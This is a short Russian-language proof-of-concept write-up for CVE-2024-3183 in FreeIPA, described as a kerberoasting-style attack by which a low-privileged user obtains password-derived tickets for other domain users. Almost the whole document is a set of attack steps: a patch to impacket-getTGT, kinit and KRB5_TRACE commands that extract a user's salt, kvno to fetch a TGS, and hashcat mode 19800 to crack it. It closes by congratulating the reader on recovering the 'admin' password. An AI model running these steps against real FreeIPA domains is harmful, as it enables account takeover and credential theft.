CVE-2024-3183-POC

POC для CVE-2024-3183 (FreeIPA Rosting)

Воздействие: Пользователь с низкими привилегиями может получить хеш паролей всех пользователей домена и выполнить офлайн-перебор (kerberoasting).

Патч impacket-getTGT:

1. Добавьте decoder.decode.defaultErrorState = stGetValueDecoderByTag в impacket/krb5/kerberosv5.py.
2. Наслаждайтесь!

POC1:

1. Добавьте decoder.decode.defaultErrorState = stGetValueDecoderByTag в impacket/krb5/kerberosv5.py.
2. Вы можете использовать impacket-getTGT с опцией -service и опцией -debug, чтобы получить salt одной командой. impacket-getTGT test.local/user -debug -service admin

POC2:

1. Сначала запросим TGT-билет для уже скомпрометированного пользователя "admin". kinit user
2. Затем узнаем salt пользователя "admin": printf "%b" "0\n" | KRB5_TRACE=/dev/stdout kinit admin | grep salt
3. Получаем TGS для "admin": kvno admin
4. Используйте python-скрипт (или hashcat mod 19800 с конкретным salt) для перебора TGS

1 - TGS, 2 - SALT, 3 - Пароли.

5. Поздравляем, теперь у нас есть пароль пользователя «admin».

POC3:

1. Вы можете использовать kinit в одно действие: kinit -S target user

и вы получите TGT, зашифрованный ключом целевого пользователя.